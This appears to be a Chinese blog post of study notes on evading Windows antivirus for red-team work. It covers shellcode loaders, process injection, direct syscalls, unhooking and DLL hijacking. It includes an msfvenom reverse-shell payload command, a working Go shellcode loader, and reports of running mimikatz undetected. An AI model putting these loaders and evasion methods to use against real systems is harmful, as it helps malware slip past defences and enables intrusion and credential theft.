windows免杀入门
护网的时候遇到了一台火绒+windows defender+360拉满的机器,那个时候凭借我们的垃圾技术,完全打不进去,最后是学弟不知道加了多少buff用奇怪的套壳软件给套过去了,现在尝试着进行基础学习。
周末尝试和katzebin去看defcon qual,比去年还坐牢。。。
去年唯一一个web是一个解混淆的题,我还后续好歹学了下AST长点知识,今年这个题真有点莫名其妙,感觉吧,和web关系要大不大要小不小,完全看不懂。自闭了
然后还是继续学点windows吧。。。
前置知识
在开始之前,需要配备一些前置知识。
shellcode
就个人意见而言,shellcode就是一段能够执行目标命令的机器码,属于非常底层的payload类型,需要直接导入到内存的可执行区域并将指令寄存器指向shellcode的开头,pwn打的多应该挺好理解的,web垃圾还真就学了一下什么情况。。。。比如栈溢出时经典的系统调用反弹shell,对于更为现代的攻击者,使用msf或是CS进行攻击时,也可以通过生成raw的payload产生shellcode。
shellcode的运行方案也就如上文所言,加载进可执行的内存,并让指令寄存器指向shellcode开始处开始运行即可。以C为例,直接将shellcode用char数组声明一个变量,通过系统调用修改变量所在的地址为可执行,然后使用shellcode的地址作为函数指针直接一波调用过去即可。
从一段代码理解函数指针
函数指针和shellcode
从0开始写ShellCode加载器0x1-Windows内存操作api
Windows API
shellcode加载器常用的Windows API,当后面GO免杀模块的参考好了
这篇虽然是说进程注入的,但是对windows API和undocumented API还有系统调用说的很清楚。
Process Injection: Remote Thread Injection or CreateRemoteThread
也就是大概权限分了三个层次,kernel32.dll,标准windows API,实现是对ntdll.dll中的native API(也叫做undocumented API)进行了一层包装。而直接使用system call的话则是直接和系统内核ntoskrnl.exe进行交互
windows在32位中使用sysenter进入内核,而64位则是syscall
native API由于实现比较原始,windows在外面套了一层标准API,这样子就使得windows可以修改native API但标准API不变,这也导致native API在不同的版本上用起来会出问题,以及native API大多以Nt或者Zw开头
VirtualAlloc
位于Kernel32.dll
经典内存申请函数
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
第一个参数指定在哪分配内存,是一个指针,设置为NULL就由系统决定,所以设置为NULL就行了,go里面的话由于使用系统调用传的参数都是uintptr,这个东西理论上就是一个无符号数,但里面装的东西一般被当做地址处理,填个0就代表NULL了
第二个也很简单,需要申请的内存大小,理论上应该go传参应该是uintptr,但这玩意既能当地址也能当unsigned int,所以直接塞个数字也行,似乎能隐式转换。并且文档上还写了很抽象的东西,说如果lpAddress是NULL的话会round to(四舍五入?)到下一页的边界。意思就是分配的内存大小不能跨页咯?
第三个参数为申请内存的类型,有几个定义的常量,一般使用MEM_COMMIT|MEM_RESERVE两个选项,RESERVE申请一块虚拟内存内存区,COMMIT将虚拟内存映射到物理内存,同样是直接传数字就行
第三个参数为内存的读写执行权限,选项很多,直接PAGE_EXECUTE_READWRITE读写执行拉满或者读写均可,也是数字,可以在golang.org/x/sys/windows
这个包下面拿到(说起来这个应该是比较新的用来调用系统API的包,syscall理论上已经被弃用了,简单翻了一下好像实现了一些常用的接口?但某些不常见的API可能还是得用syscall去dll里翻)
有一个ex版VirtualAllocEx,再最前面加了一个参数
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
功能是在某个进程内申请一篇空间,所以第一个参数也就是对应进程的handler
HeapAlloc
位于Kernel32.dll
另一个经典内存分配函数
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
[in] HANDLE hHeap,
[in] DWORD dwFlags,
[in] SIZE_T dwBytes
);
第一个参数为HeapCreate或GetProcessHeap返回的handler,第二个参数用来初始化堆,置零之类的,第三个参数长度
HeapCreate懒得写了。。。自己翻msdn
ZwAllocateVirtualMemory
位于NtosKrnl.exe,这不在dll里面啊?不懂ing
但是看现成的代码中的使用方案是从ntdll里面可以找到这个函数,属于undocumented API
NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
第一个参数文档上写得是个process的handler,但实际上我看直接用CreateHeap返回的handler也行
第二个起始地址,NULL由系统决定
第三个参数看不懂,得小于21,填0就是了
第四个参数为申请的大小
第五个参数是申请的类型,经典COMMIT
第六个参数经典读写执行
VirtualProtect
位于Kernel32.dll
改内存权限的,看名字也能猜出来
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
前两个参数与VirtualAlloc一致,第三个参数和VirtualAlloc第四个参数一致,使用方法多为先alloc一个读写内存,shellcode写完再改成可执行,第四个参数锤子用没有,前面写了个out意为输出,是一个用来接收原来被改的这个内存权限的变量,必须传一个有效值,是NULL函数就自爆
同有一个EX版本,与VirtualAllocEx一致
RtlCopyMemory
位于ntdll.dll
还有一个长得差不多的函数RtlMoveMemory,签名几乎都一样
VOID RtlMoveMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
这个签名也能很简单的猜出了怎么用。两个指针一个源一个目的地,一个长度,不过一个是移动一个是复制,移动的话估计移过去本来的地方就没了吧
OpenProcess
位于Kernel32.dll
获取进程对应的handler的函数,用于进程注入
CreateProcess则是直接创建新进程
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
第一个参数是需要的权限,buff有一堆,一般来说是
PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_QUERY_INFORMATION
第二个参数没仔细看,反正bool填0就是了
第三个参数为pid
WriteProcessMemory
位于Kernel32.dll
用于跨进程写内存空间,进程注入或者创建新进程都用这个
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
第一个参数process handler,第二个写入的地址,不能置为NULL,使用VirtualAllocEx返回的地址即可,第三个源数据地址,第四个参数,第五个是输出写了多少字节
windows版本号与对应系统版本
似乎会存在某些API在某个版本之后才出现之类的情况,对于XP 2003等老系统而言尤为突出,而windows并不是后面的数字完全对应版本号的,需要略微进行了解
- Windows NT 3.1、3.5、3.51
- Windows NT 4.0
- Windows 2000(NT 5.0)
- Windows XP(NT 5.1)
- Windows Server 2003(NT 5.2)
- Windows Vista(NT 6.0)
- Windows Server 2008(NT 6.0)
- Windows 7(NT 6.1)
- Windows Server 2008 R2(NT 6.1)
- Windows Home Server
- Windows 8(6.2)
- Windows Server 2012(NT 6.2)
- Windows 8.1(NT 6.3)
- Windows Server 2012 R2(NT 6.3)
- Windows 10(NT 6.4,现NT 10.0)
- Windows Server 2016(NT 10.0)
- Windows Server 2019(NT 10.0)
- Windows Server 2022(NT 10.0)
- Windows 11(NT 10.0)
理论上来说NT号即为版本
Microsoft Windows的历史
WOW64
全称原来是Windows 32-bit on Windows 64-bit。。。用于在64位机器上跑32位程序。
windows的64位相关实现放在system32里(64位的实现却叫32),而32位的实现则放在WOW64里。。。真是抽象。
system32不改名是为了兼容旧系统上的程序,当32位的程序写死了路径在system32时,迁移到64位环境也不会出问题。但实际上32位迁移到64位后system32实际上应该是64位的实现,所以又做了一层路径映射,在64位程序上跑32位程序时,会将system32映射到wow64,也就导致了之前有一次攻击时程序显示自己是在system32目录但实际上运行上下文是wow64。
具体的实现是当32位程序在64位环境下运行时,会加载wow64的几个dll,这几个dll做一层代理把参数调成64位的样子传给64位的ntdll进行系统调用。
说起来32位和64位的寄存器长度都对不上,直接在64位的loader里加载32位的shellcode会原地爆炸
进程注入的时候也要确定一下目标进程的位数和shellcode的位数捏
Windows WOW64原理
汇编里看Wow64的原理(浅谈32位程序是怎样在windows 64上运行的?)
但是我用go编译了一个x86的程序然后进程注入C:\Windows\System32\notepad.exe
,直接改jetbrain家goland那里的架构好像屁用没有,最后是手改go环境变量命令行build出来的一个32位程序。确实拉起来的是syswow64下的32位notepad,然而程序在writeProcessMemory的时候就直接挂掉了。。。在64位机器上两个32位进程写内存不知道发生了什么问题,反正就是跑不起来。。。
直接写一个直接的shellcode加载编译成32位配合32位shellcode倒是可以在64位上跑起来,不过显然go也不支持xp这种远古垃圾,仍然在XP上是一个无效的win32程序
APC
Asynchronous Procedure Call,不知道中文是什么,直接翻译成异步过程调用好了。
Asynchronous Procedure Call or APC is a function to run code in the context of another thread. every thread has it’s own queue of APCs. if the thread enters an alertable state it starts to do APC jobs in the form of first in first out (FIFO). A thread can enters an alertable state by using SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions.
APC是一个在windows在单一线程上下文中实现任务队列的技术,一般被用来实现异步操作的回调。说起来js也是event loop+任务队列实现的单线程异步回调吧?
在攻击里则作为一种经典的进程注入手段
APC API均为undocumented API,所以在不同版本的操作系统上可能会出现些许问题(大概)
每个线程均拥有两个APC队列,一个用户态队列和一个内核态队列。攻击通过User APC进行。(显然你不能操作内核)
触发User APC有三种方式,等待进程进入alertable state,NtTestAlert主动清空APC队列,和win10 RS5版本后的Special User APC
QueueUserAPC
基础方案,就给目标线程指派一个APC,然后他什么时候进alertable state触发看命。svchost据说会经常处于该状态
When a user-mode APC is queued, the thread to which it is queued is not directed to call the APC function unless it is in an alertable state. A thread enters an alertable state when it calls the SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx function
NtTestAlert
这个函数运行before the lifetime of a thread
,该函数会检查当前线程的APC队列,并当队列中存在任务时,调用KiUserApcDispatcher
完成队列中的任务
通过CreateProcess一个挂起的进程,再用QueueUserAPC加入任务,在Resume启动线程时,在线程启动前触发
Special User APC
通过在win10 RS5发布的NtQueueApcThreadEx系统调用中强制执行APC。新科技对渗透没有用的嗼。渗透打的都是一万年前的垃圾机器,XP时有出现
免杀方案
PowerSploit
大二的时候下的一堆垃圾工具里就有这个东西,已经是6-7年前的古董了,并不是很好用。并且部分机器默认不支持运行ps1脚本,还得手动开一下
虽然里面有一些加解密ps脚本的工具,杀软也不能很好的检测这些工具加密出的恶意脚本,然而加密出的脚本需要通过加密工具还原,然后我直接把你的加密工具杀掉就好了。。。
并且感觉对win10的兼容堪忧,关了defender也在win10上跑不起来,在win7上倒是一路通畅,win7的defender多多少少有点垃圾,不加密直接把PowerSploit放上去跑也不报毒
PowerSploit
Mimikatz的18种免杀姿势及防御策略(上)
编码器
就是在shellcode生成的时候加混淆,给shellcode加点密,整点花指令假判断什么的,传说中的经典UPX壳应该也是类似的操作?(不过好像套UPX壳的任何软件都直接被当做马杀了)比较出名的应该是msf的Shikata Ga Nai编码器。(效果似乎非常一般,落地就给defender杀了。。。)
Shikata Ga Nai Encoder Still Going Strong
19年的still strong,在22年看来还是有点过时了。msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15
在msf console中show encoders
查看所有可用编码器,使用-i选项指定encoder套娃次数,也许多套几层就不会被杀了?
去除用户态hook
部分杀软会在用户态hook部分函数以监控危险行为,通过去除hook的方式可以在一定程度 上进行免杀。
下面的汇编免杀则是通过绕过用户态函数,直接以汇编的形式发起系统调用绕过用户态API的hook。去除方式为加载硬盘上的文件与内存中的模块进行比对,不一致就重写重定向表把真实dll替换过来。加载这方面也要防hook所以也用到汇编高强度翻数据结构环节
这个文章比较详细的介绍了一种去除用户态hook的方法
Universal Unhooking: Blinding Security Software
附了一个仓库,给了点工具,尝试去除hook后内存加载马大战windows defender,然后被defender瞬杀。这个故事告诉我们,defender应该不是用户态hook,可能直接内核hook或者有其他的什么监控方式吧。。。吴迪
汇编免杀
通过直接翻加载进内存的ntdll的PEB翻数据结构,直接找到系统调用的syscall,以汇编直接发起syscall
成熟的解决方案SysWhispers2
以该项目为例,ShellCodeFramework
使用汇编进行系统调用,加载shellcode。这个是作者的介绍文章
shellcode免杀框架内附SysWhispers2_x86直接系统调用
不过实际上前面那段自己实现shellcode的部分不适合我。。。还是直接套CS和msf比较好。
该项目的Syscalls.h/c/asm来应该是源自于SysWhispers的,然而SysWhispers生成的payload仅支持在64位windows机器上运行(但是shellcode这个项目编译感觉又得选x86进行编译。。。),也有可能是因为这个项目shellcode加载部分的代码是只适配x86的,但是我C++水平有限,没法写出稍微复杂一点的shellcode加载器。。。。
实际上这里使用的Syscalls.h/c/asm应该是作者自己魔改的支持32位的SysWhispers
SysWhispers2_x86
该项目的整体思路并不复杂,用aes对shellcode进行了一轮加密,将shellcode放在一个特定的数据段(.edata)中,使用时将shellcode解密,系统调用该内存段变成可执行,将指令寄存器指向shellcode地址完成(C++手写AES麻烦的要死,作者也是抄的现成代码)。该项目使用aes加密防止了对明文shellcode的检测(现在msf,cs这类生成的明文shellcode是个杀软就能查出来,没编译就一串16进制数都能给你抓了。。。),而对于修改shellcode内存为可执行这一步关键操作,则使用SysWhispers产生的汇编进行系统调用,绕过杀软。
syswhispher2使用
使用visual studio 2022编译,将生成的.h添加进头文件,.c/.asm加入资源文件
导入之后右键解决方案资源管理器中项目名,生成依赖项->生成自定义,勾选masm
然后右键asm文件,64位的asm在x64下配置为
从生成中排除 | 否 |
---|---|
内容 | 是 |
项类型 | Microsoft macro assembler |
在x86下则需要从生成中排除,反之,x86的asm在64位下同样排除
坑
然而这个项目踩了不少坑。。。
首先项目采用Release+x86进行编译,项目两个loader都编译成32位可执行文件的,理论上sysenter用于在x86机器上运行,wow64在x64机器上运行。
静态链接
首先一个是缺dll,动态链接生成的木马在目标没有安装C++开发环境的情况下缺一堆dll,解决方案也很简单,搜一下怎么静态链接,在属性->C/C++->代码生成
处,把运行库改成多线程(/MT)
即可
系统兼容性
直接就着项目编译出来的马只能在win10上运行,win7和win2008均直接退出,估计原因是作者的syswhispers是自己魔改过的支持x86的,存在迷之bug,重新下了个syswhispers2重新生成了一套payload就跑起来了。但是需要注意syswhispher2只支持64位
WinXP适配
虽然Syswhispers是支持XP的,但是直接编译出来的程序放到XP上跑直接显示not a valid win32 application
,简单搜一下是windows不同系统使用的sdk有差距,远古XP系列以及被弃用了,所以还得用VS装一个XP工具集,使用visual studio install装一个即可。
然而装了也不一定编译的起来,期间我遇到了各种各样的问题,改了一堆配置但是想不起来几个了
How to compile code for Windows XP in Visual Studio 2017
然后就在XP上跑起来了,然而放到win2003上还是跑不起来,理论上2003应该是xp的服务器版本啊?(维基百科说的)报错为The procedure entry point DecodePointer could not be located in the dynamic link library KERNEL32.dll,非常抽象,但是kernel32.dll是一个非常核心的dll。可能是因为我这个2003虚拟机是32位的?而原生SysWhispers不支持32位?但是xp也是32位的啊。。。。而被魔改的SysWhispers_x86又不支持XP工具集,导致在32位的XP系列系统上无法成功利用
但总而言之我算是基本会用了。。。虽然对手写windows API调用还是没什么认知
结论
windows7,10,2008三个64位虚拟机均能上线
32位XP能上线
32位2003不行,原因未知
免杀效果,win10物理机windows defender落地击杀,win10虚拟机报警但未阻止,低版本windows乱杀。学弟给我发了个他写的rust的马,他说本地火绒defender都过了,VT只有五个引擎查出来,然后我这边下载下来落地击杀。。。defender真无敌啊。。。
VT的话能有十多个引擎查出来,能用就行啦
go免杀
新型语言类免杀,代表作品为go和rust。主要原因可能是新型语言编译出来的东西和传统C差距过大,并且这类语言由于不像C可以依赖机器自带的一套libc一类的东西,需要打包自己实现的一系列底层操作,导致整体分析复杂的一比。简单的说就是和杀软比速度,现在杀软的分析对于新型语言并不成熟从而进行绕过。作为编译型语言也不需要目标机器存在解释器,理论上来说是没有太多依赖需求的。然后就会使得我不太能理解这些东西怎么跑起来的,可能真的自己实现了一套底层然后编译时超级静态链接打包吧。。。
但是想使用go写马,就有一种非常奇怪的感觉,用一个感觉比较高等级的语言,在这里指来指去。。。感觉都封装的很好,不需要考虑什么情况的复杂结果,我反而需要去看他内部怎么实现,传值传引用,然后进行各种底层的一逼的内存操作。。。折磨王
学习思路参考项目GolangBypassAV
然而在这之前,需要一些奇怪的前置知识和go语言基础。
语言基础
unsafe.Pointer与uintptr
用C写马时需要获取shellcode地址分配内存改可执行内存拷贝等各种操作,直接使用指针似乎比较易于理解,而在go里面shellcode的加载是一致的,然而你仍然需要进行各种复杂的内存操作。go中使用unsafe.Pointer和uintptr进行指针类型的地址操作
go的话比较玄幻,不允许地址被直接转换为指针,而是要套一层unsafe.Pointer,这个玩意就像一个中转,或者说一个void指针,想从一个指针转移到另一个指针就需要使用这个东西
uintptr,这个玩意一般会配合unsafe.Pointer使用,但是这个东西又不是一个指针,而是一个可以用来记载地址的无符号数(说起来指针实际上不也就是一个记载地址的无符号数),反正go在指针这里套了一堆,如果想对地址进行加减操作,就需要将unsafe.Pointer转换成uintptr
文档上写的也很抽象
uintptr is an integer type that is large enough to hold the bit pattern of any pointer.
所以说实际上是个数字
光说是没有用的捏,实际用起来就知道有多抽象了
Go之unsafe.Pointer && uintptr 类型
Array与Slice
现代语言一般来说都实现了可变数组,就C++也有经典vector之类的东西,go也不例外。go中的array就是经典的不可变数组,而slice则是可变数组,在声明上类似
// Array
a := [4]int{1,2,3,4}
// Slice
b := []int{1,2,3,4}
这就是非常抽象的一点,先不说这个类型放后面的反人类操作,C中隐式声明定长数组的操作在这里就变成声明了一个变长数组了。一度令我感到困惑
go中,只有括号里带数字的是定长数组,其余皆为切片
除此之外,套用C的思路,一般来说数组作为参数传入的直接是数组头指针,也就是传引用,而在go中array和slice均为传值,即函数内修改值不会影响实际值?但实际上slice是由一个结构体实现的,内部还是一个数组,而结构体中的数组却又是由指针进行存储的。所以slice其实又传了引用,但没完全传。。。。
slice内部大概就是这么个样子,乱写的,可能类型不太对。。。反正这里的arr是一个指向实际实现的数组的指针
{
var arr uintptr
var len int
var cap int
}
关于Go语言中数组的参数传递问题
【Go】深入剖析slice和array
GO windows API操作
使用syscall包进行(说起来这个包好像已经被弃用了)
想用windows API必然需要加载dll,可以使用如下三个函数进行加载,参数都是dll名字符串,很简单syscall.NewLazyDLL syscall.LoadLibrary syscall.MustLoadDLL
区别不晓得,网上还搜不到太详细的资料,官方文档都没有?NewLazyDLL一看就知道是用时才加载,LoadLibrary能是即时加载吧,MustLoadDLL是加载出错会产生panic
加载了DLL之后还需要从DLL中获取需要使用的系统调用,这里也有三个函数MustFindProc NewProc syscall.GetProcAddress
,前两个函数作为dll的方法调用,需要的参数为需要使用的函数名字符串,不需要函数签名(dll里面没有函数重载吗?函数根据到时候调用时使用的参数进行重载?)
最后一个函数需要传入dll和函数名两个参数
上述所有函数均有两个返回值,分别是结果和错误
下述所有系统调用要求入参全部都是uintptr类型,然后就会出现我之前提到的unsafe.Pointer+uintptr套娃问题,如果参数本身是数字的话uintptr本身就是数字,不用类型转换,返回值为三个,第一个是结果,第二个不知道,第三个是错误
得到函数之后就可以发起系统调用了,调用使用func.Call
即可。第一个参数是参数个数,然后接参数
直接发起系统调用则需要使用syscall.Syscall
,这个函数有一个系列syscall.Syscall/6,9,12,15
,分别代表参数为3-5,6-8….个参数的系统调用,上限15个参数。函数的第一个参数是得到的函数的地址,第二个参数是输入的参数数量,然后就是参数
Go使用WindowsApi笔记
用得到的知识写一个破烂,最简单的直接把shellcode写在变量里,然后让变量所在的内存可执行直接调用
package main
import (
"syscall"
"unsafe"
)
const (
PAGE_EXECUTE_READWRITE = 0x40
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect1(lpAddress uintptr, dwSize uintptr, flNewProtect uintptr, lpflOldProtect uintptr) bool {
///ad
ret, _, _ := procVirtualProtect.Call(
lpAddress,
dwSize,
flNewProtect,
lpflOldProtect)
return ret > 0
}
func run(shellcode []byte) {
var old uint32
VirtualProtect1(*(*uintptr)(unsafe.Pointer(&shellcode)), uintptr(len(shellcode)), PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&old)))
addr := *(*uintptr)(unsafe.Pointer(&shellcode))
_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
b := []byte{shellcode}
run(b)
}
整体下来只有一个操作比较难以理解,就是这个*(*uintptr)(unsafe.Pointer(&shellcode)
考虑一下,这里的shellcode是一个切片,切片是传值的,因此对shellcode取址得到的是一个指向slice结构体的指针,而这里将这个指针通过unsafe.Pointer转换为了一个uintptr的指针,即,将指向slice结构体的指针变成了一个指向uintptr的指针,而slice的开头刚好是一个指向内部数组的uintptr,对其解引用,得到了指向内部数组的uintptr
然后将该指针传入VirtualProtect中,修改内存为可执行,并使用系统调用将指令寄存器指向改地址执行shellcode
后来看见了另一个写法。。。uintptr(unsafe.Pointer(&a[0]))
总觉得简单明了了不少。。。直接把数组头地址作为指针不是看起来好理解多了吗。。。之前那个操作还多套一层让我理解半天
实现了一个最基础的go语言的直接的shellcode加载器。
Bypass方案
不想动手捏。。。就着这个项目看吧
确实大部分都是对普通的利用方法的go重写?
CreateFiber
使用纤程的概念注入shellcode。。。头一次听到这个概念
利用纤程进行 Shellcode 本地进程注入
就是把线程捏成更小的线程?这个线程是用户态实现的,所以线程切换不需要进内核,减少开销
用到这几个函数,均位于kernel32.dll
LPVOID ConvertThreadToFiber(
[in, optional] LPVOID lpParameter
);
LPVOID CreateFiber(
[in] SIZE_T dwStackSize,
[in] LPFIBER_START_ROUTINE lpStartAddress,
[in, optional] LPVOID lpParameter
);
void SwitchToFiber(
[in] LPVOID lpFiber
);
第一个函数不用传参也能用
第二个函数需要传一个栈大小和一个开始的地址(显然开始地址就是shellcode地址)
第三个函数传入CreateFiber的指针
CreateProcess
创建一个子进程注入shellcode,直接用的golang.org/x/sys/windows
包下的CreateProcess函数,然后用VirtualAlloc和VirtualProtect的Ex版本跨进程申请内存和修改权限
使用WriteProcessMemory
函数写入shellcode
接下来的操作是读了好多次内存,不太熟悉看不懂。。。。可能是为了确认主进程的入口位置,然后再写一次内存改机器码直接jump到shellcode处
CreateProcessWithPipe
感觉就是多套了一层管道获取了stdout看输出。。。对我们这种直接CS上线的感觉没什么区别
不过可以看一下这个管道介绍的文章
浅谈 windows 命名管道
CreateRemoteThread
进程注入操作,通过OpenProcess
获取目标进程的handler,然后VirtualAllocEx
和WriteProcessMemory
等组合拳申请内存写入改成可执行,最后调用CreateRemoteThreadEx
,以写入的shellcode地址作为RemoteThread的地址完成注入
CreateRemoteThread就是创建一个给与地址作为入口点的线程,Remote可能体现在在给与的handler对应的进程中创建,这个函数也有一个Ex版,似乎只是增加了更多参数选项。
该方法可以配合LoadLibrary完成DLL注入,不过需要额外写shellcode调用LoadLibraryA
这个函数
感觉直接写shellcode可能还来的快一点?常见的注入进程是经典svchost
DLL Injection via CreateRemoteThread and LoadLibrary
这里面也提到了两个undocumented的创建线程的函数NtCreateThreadEx,RtlCreateUserThread,之前有一次go写的马在老版本机器上跑不起来,报错是ntdll.dll找不到,windows大师和我说这个是核心dll肯定找得到,可能是因为我用了undocumented API
也有一个CreateThread函数用于在当前进程内创建线程
CreateRemoteThreadNative
和普通的没什么区别,就是把用go的windows包的OpenProcess换成了syscall从kernel32.dll里翻出来的OpenProcess
(说起来看了一下windows包的实现感觉也还是syscall)
CreateThread
创建本地线程
CreateThreadNative
windows包换syscall
RtlCreateUserThread
类似于CreateRemoteThread
,进程注入操作,换了个API,与EtwpCreateEtwThread
一样属于undocumented API
RtlCreateUserThread
dpapi
用了windows的data protect api(dpapi),对shellcode进行加解密,但是没看懂捏?怎么只有加密没有解密?
EtwpCreateEtwThread
整体操作与CreateThread区别不大,但是创建线程的方式使用了这个奇怪的函数,这是一个undocumented API
,所以使用冷门API可能会导致绕过杀软,也可能导致在老版本系统上跑不起来
The list that follows is of ETW functions implemented in NTDLL version 6.0, i.e., for Windows Vista
关于windows版本,确实有点难理清楚,可以看维基百科,XP和2003的版本号分别是5.1和5.2,就用不了这个API
HeapAlloc
创建一个堆来分配内存。(说起来VirtualAlloc分配的内存难道就不在堆上了吗。。。)
除了使用堆分配相关的函数外并无新意
Hgate
地狱之门的强化版。均为防止杀软hook系统调用导致shellcode无法执行的方案。
与SysWhisper的思路类似,通过从ntdll中直接还原出系统调用号,直接发起系统调用绕过杀软hook。
windows装载进程进内存时,第一个模块是PE文件本身,第二个模块就是ntdll.dll,第三个是kernel32.dll。
然后windows有一个究极PEB结构,里面有双向链表可以把各个模块连起来,由此可以获取到ntdll的地址
地狱之门的缺点在于设计的比较原始,ntdll的位置被杀软修改之后就跑不起来了,光环之门则通过从杀软没有hook的系统调用的位置加加减减获取全部系统调用的位置。。。但我的智力条件有限,看的不是很懂。。。
这篇文章拉满了
syscall的前世今生
EarlyBird
和NtQueueApcThreadEx
为APC二连。APC是进程注入的一种捏,不过是新开进程注入的那种,CreateRemoteThread可以找一个已经存在的目标进程注入进去,所以和CreateProcess有点像。
不过CreateProcess需要该程序入口的汇编jump到shellcode上,对应不同的架构需要做很多额外的处理,而这里在创建进程分配内存写入数据修改为可执行后,直接使用了一个QueueUserAPC
把shellcode地址作为APC任务的回调函数,resume的时候会优先清空APC队列,触发回调shellcode
该方案是一种逃避动态监测的方案。因为NtTestAlert在线程开始之前触发,杀软可能在进程启动时对危险API进行hook,在线程开始前把shellcode跑完就不用担心被hook了
NtQueueApcThreadEx
APC 进程注入,APC章节提到的新版本windows10实现的新系统调用,可主动触发APC,可能没有那么快被hook,但是只兼容新版本+使用不当可能死锁之类的程序崩溃。感觉不一定好用
UuidFromString
应该是用的这个师傅的思路,其实感觉和AES等加密方式的区别并不是很大,只是换了一种shellcode存储的方式,可能能够通过调用奇怪的系统调用打乱杀软对调用顺序的检测?也有说法这个是白名单函数,用起来比较安全什么的。。。
然后在shellcode的触发上没有使用常见的直接调用,而是用了个EnumSystemLocalesA函数,将shellcode地址作为函数指针传入该函数的回调函数中进行触发
这里在开发的时候有一个小注意点,u := append([]byte(uuid), 0)
,因为系统调用需要传一个指向uuid的指针进去,而C的字符串是以0截断的,所以这里将uuid转换为byte数组然后补一个0上去
文中也提到了用mac和ipv6地址等方案实现的想法
CS 内存加载器免杀及实现
这个操作编译出来的马还真就没被defender爆杀。大部分操作都能乱按,启动vnc会被抓,但甚至能在我的物理机上运行mimikatz,运行完刚把结果传回来就被defender发现,然后defender给我电脑高强度重启了。。。但确实把数据拿到并且回传了。
直接编译出来的文件运行时会有一个黑框,编译时加一个-ldflags="-H windowsgui"
的buff即可去除
这种马在被defender标记为危险后会直接被检查hash瞬杀,而进程注入类的被抓包的是被检测的进程,只会杀掉那个进程,而注入用的马并不会被发现
反沙箱
感觉其实没什么用,因为传一个马上去又不可能立刻开个沙箱去检测,我先把马跑起来等你后续随便检测
抄个项目,能用就行
timwhitez/Doge-Loader
白+黑免杀
白名单软件+恶意dll进行免杀
通过劫持dll,使带有微软等签名的软件执行用户的恶意代码,而杀软有可能对微软软件进行放行,进而完成免杀
dll劫持是通过windows对dll的加载顺序决定的。
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
可以看到,和应用程序位于同一目录的dll是最优先被加载的,因此只需要创建一个与将会被加载的dll同名的dll文件放在应用程序同一目录下,即可实现对正常dll的劫持
windows也做了简单的防御措施,对于关键系统dll,只能从system32目录加载,均记录在knowndlls中,位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
中
可以使用procmon工具对软件加载dll的情况进行观察。寻找出其中的非knowndll,尝试劫持
如果使用vs创建一个dll项目,可以看到dll中存在一个dllmain函数,其决定了dll在加载和卸载时的行为,可以直接在该函数中添加恶意代码,并执行任意命令
但是!网上的大部分教程都只是简单的弹一个messagebox,或者是执行一个calc,如果仅仅是进行这些操作,的确没有问题,但没有完成完整的shellcode loader,尝试写一个shellcode loader,却并不能上线。。。有师傅和我说dllmain里面不能阻塞,需要CreateThread创建新进程运行,网上找了个例子,也没跑起来。。。由于不会调试dll,一度卡住
最后是从hacking8找到了一个师傅现成的工具,生成了一份模板之后自行魔改,实现了单dll白+黑利用成功
这里提出了比较关键的想法,正常劫持dll需要把所有的dll都打包带上,只替换掉一个,而实际上APT的白+黑都是只携带一个单独的dll,因此,需要在dll里面直接修改原程序控制流,让其直接被dll接管,实现后续利用
这里这位师傅提到了dll加载的两种情况,一种是编译时动态链接上的dll,直接位于PE文件的导入表中,在PE文件启动时即加载,另一种是运行时动态通过LoadLibrary动态加载,两种文件由于加载时机不同,需要进行的操作也不同
导入表中的dll在程序启动时即被加载,作者通过读PE头找入口直接修改程序入口处,执行shellcode
不过实际上实现是在dllmain中给程序入口写了个类似while(1)的死循环,然后CreateThread执行shellcode(之前我写CreateThread没成功难道是因为没魔改主程序入口?主程序退出导致创建的Thread挂了?还是什么别的原因?)
对于使用LoadLibrary加载的程序,则使用init函数,该函数在被加载的dll的函数被执行时调用,直接获取控制流,并且采用了go和C混编的方式编写dll,在混淆更强的情况下又进一步简化了开发。
简易魔改
